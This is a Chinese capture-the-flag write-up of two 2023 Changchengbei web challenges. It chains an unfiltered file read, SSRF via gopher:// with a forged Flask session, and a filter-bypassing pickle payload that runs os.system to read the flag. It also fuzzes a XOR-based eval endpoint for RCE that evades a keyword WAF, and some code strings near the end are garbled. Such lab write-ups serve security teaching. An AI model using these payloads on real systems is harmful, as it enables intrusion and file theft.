2023长城杯 web部分题目(seeking&easy_extension)

seeking

下载题目附件得到:


error_reporting(0);
header("HINT:POST n = range(1,10)");

$image = $_GET['image'];
echo "这里什么也没有,或许吧。";
$allow = range(1, 10);
shuffle($allow);
if (($_POST['n'] == $allow[0])) {
    if(isset($image)){
	$image = base64_decode($image);
    	$data = base64_encode(file_get_contents($image));
	echo "your image is".base64_encode($image)."
"
; echo ""; }else{ $data = base64_encode(file_get_contents("tupian.png")); echo "no image get,default img is dHVwaWFuLHBuZw=="; echo ""; } }

首先要满足 post一个n跟1,10随机数相等 intruder模块爆破即可

$image这里没有过滤,可以使用file或者filter协议获取文件内容,但是直接获取不到flag 估计是名字不同

根据提示(图片里面有隐藏信息)

分离得到一个7z压缩包,解压得到secret.txt: M0sT_D4nger0us.php

搭配filter伪协议,读取文件内容得到文件代码:

2023长城杯 web部分题目(seeking&easy_extension)_第1张图片


$url=$_GET['url'];
$curlobj = curl_init($url);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_exec($curlobj);
?>

典型ssrf 没有过滤

file:///etc/passwd 发现了secret用户

secret:x:1000:1000::/home/secret:/bin/sh

再根据提示:通过文件读取分析 bash记录

同时题目也提到了 小朱的一个ID叫secret的朋友叫他帮忙测试一下他的web服务

读取secret用户的历史命令,/home/secret/.bashhistory

2023长城杯 web部分题目(seeking&easy_extension)_第2张图片

看见了 /home/secret/Ez_Pickle/app.py文件

#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "idontwantyoutoknowthis"

User = type('User', (object,), {
    'uname': 'xxx',
    '__repr__': lambda o: o.uname,
})

@app.route('/', methods=('GET','POST'))
def index_handler():
    u = pickle.dumps(User())
    session['u'] = u
    return "这里啥都没有,我只知道有个路由的名字和python常用的的一个序列化的包的名字一样哎"


@app.route('/pickle', methods=('GET','POST'))
def pickle_handler():
    try:
        u = session.get('a')
        if isinstance(u, dict):
            code = b64decode(u.get('b'))
            if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code:
                print(code)
                return "what do you want???"
            result=pickle.loads(code)
            return result
        else:
            return "almost there"
    except:
        return "error"


if __name__ == '__main__':
    app.run('127.0.0.1', port=5555, debug=False)

pickle反序列化,给了SECRET_KEY 伪造session 给 对应的b赋值构造好的恶意 pickle序列化数据

存在过滤 if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code:

o操作码绕过

import base64
import pickle

payload = b'''(cos
system
S'cat /f* > /tmp/a'
o.'''
# ls / > /tmp/a 得到flag名称
code = payload
if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code:
    print(code)
#pickle.loads(code)
print(base64.b64encode(payload))
import urllib.parse
a ='''GET /pickle HTTP/1.1
Host: 127.0.0.1:5555
Cookie: session=eyJhIjp7ImIiOiJLR052Y3dwemVYTjBaVzBLVXlkallYUWdMMllxSUQ0Z0wzUnRjQzloSndwdkxnPT0ifX0.ZPlszQ.mXPJEIl_a5JbUlHndOy5WOceS2s
'''

tmp = urllib.parse.quote(a)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:5555/' + '_' + new
print(result)

gopher带着cookie发包

2023长城杯 web部分题目(seeking&easy_extension)_第3张图片

之后再写入 flag文件内容到tmp里 读取即可

2023长城杯 web部分题目(seeking&easy_extension)_第4张图片

easy_extension

/userinfo.php?info= 这里存在ssrf

fuzz得知,估计是白名单 只能用 http:// https:// gopher://

在登录界面,尝试弱口令 admin 123456登录,弹出 Just View From 127.0.0.1

2023长城杯 web部分题目(seeking&easy_extension)_第5张图片

结合前面 /userinfo.php?info这里 肯定就是利用ssrf gopher去发包,进行登录访问

发包后,得到下一步提示:Continue go to ‘/byfackstage/profile.php’

2023长城杯 web部分题目(seeking&easy_extension)_第6张图片

访问,看见了三个功能,一个 search 一个calc 一个 logout

2023长城杯 web部分题目(seeking&easy_extension)_第7张图片

select.php这里存在任意文件读取

最终得到文件内容为:

select.php


error_reporting(0);
include "./profile.php";
ini_set('open_basedir','/var/www/html/');
$search = $_POST['search'];

if(!empty($search)){
    if(preg_match('/[^a-zA-Z.]+/',$search)) {
        die('hacker!');
    } else {
        $file_path=$search;
        if(!file_exists($file_path)){
            die("");
        }
        $fp=fopen($file_path,"rb");
        $file_size=filesize($file_path);
        Header("Content-type: application/octet-stream");
        Header("Accept-Ranges: bytes");
        Header("Accept-Length:".$file_size);
        Header("Content-Disposition: attachment; filename=".basename($file_path));
        $buffer=1024;
        $file_count=0;

        while(!feof($fp) && $file_count<$file_size){
            $file_con=fread($fp,$buffer);
            $file_count+=$buffer;
            echo $file_con;
        }
        fclose($fp);
    }
}

ini_set('open_basedir','/var/www/html/'); 这里限制了只能访问 /var/www/html 下的文件

calc.php


error_reporting(0);
include "profile.php";

$one=$_POST['one'];
$two=$_POST['two'];
$cmd=Cmd\Calc::exe($one,$two);
echo $cmd;
eval($cmd);

logout.php


include "profile.php";
header("location: ../index.php");

利用点应该就在 calc.php里 里面存在eval 不过eval()里的内容 由 Cmd\Calc::exe() 决定

题目是 easy_extension 界面也给了 zephir generate Current_Directory php extensions

意思大概是:zephir在当前目录生成 php扩展

和 zephir有关 搜索得知 zephir 是专门开发php扩展的

zephir build 执行这个命令会先把zephir代码解析成C代码,然后编译该C代码成.so库文件,最后放进你的php扩展库目录

唉 当时想到读so来自,Cmd.so Calc.so 都没有

2023长城杯 web部分题目(seeking&easy_extension)_第8张图片

后面看山河师傅wp里 读的是 cmd.so 小写c 。。。赛后复盘就开始懊悔 应该多试试的来着

同时山河师傅还读了 wafCheck.php 当时也不知道还有这个文件


function waf($code){
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $code)){
        return $code;
    }else{
        return "hacker!!!";
    }
}

逆cmd.so 可以知道, Cmd\Calc::exe($one,$two) 是对one和two两个参数传进来的东西进行异或然后再当做php代码执行

因为会返回 $cmd 当时想的是 fuzz一下 python脚本如下:

import requests
import re
import string
burp0_url = "http://eci-2ze4x19l8hd7454rmx2y.cloudeci1.ichunqiu.com:80/byfackstage/calc.php"
dic = string.printable
dic1 = "CDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"
for i in dic1:
    for j in dic:
        one = "{}".format(i)
        two = "{}".format(j)
        data = {"one": one, "two": two, "submit": "submit"}
        text = requests.post(burp0_url, data=data)
        char = ''.join(re.findall("(.+?)",text.text))
        print(char,one,two)

黑盒 fuzz的时候 fuzz出来了大部分字符

P 1 a
S 1 b
R 1 c
U 1 d
T 1 e
W 1 f
V 1 g
Y 1 h
X 1 i
[ 1 j
Z 1 k
] 1 l
\ 1 m
_ 1 n
^ 1 o
A 1 p
@ 1 q
C 1 r
B 1 s
E 1 t
D 1 u
G 1 v
F 1 w
I 1 x
H 1 y
K 1 z

G t 3
E v 3
T g 3
[ h 3
] n 3
^ m 3
[ h 3
] n 3
\ 0 3
@ s 3
_ i 6
) b K
$ a E
| 4 H
0 a Q
! a @
: a [
= a \
< a ]
? a ^
> a _
# b A
& b D
, b N
- b O
+ B i
/ a N

但是 应该是 php7版本 eval() assert()这种解析问题

我直接构造了 c m d = " cmd = " cmd="_GET[0]" 想着这样直接 eval($cmd); 进行rce 事实上是行不通的

山河师傅 构造的是 $cmd = "require G E T [ x ] ? > " 然后 e v a l ( _GET[x]?>" 然后 eval( GET[x]?>"然后eval(cmd) 这种是可以进行文件包含的 构造包含 /flag即可

利用无字母数字异或rce绕过 wafCheck.php的限制 tql orz

这里贴一张山河师傅成功的图:

2023长城杯 web部分题目(seeking&easy_extension)_第9张图片

参考:https://www.yuque.com/shanhe-9jurb/kfn512/ll4pa9uzg40l5elk?singleDoc#aIM8U

你可能感兴趣的:(比赛wp,安全)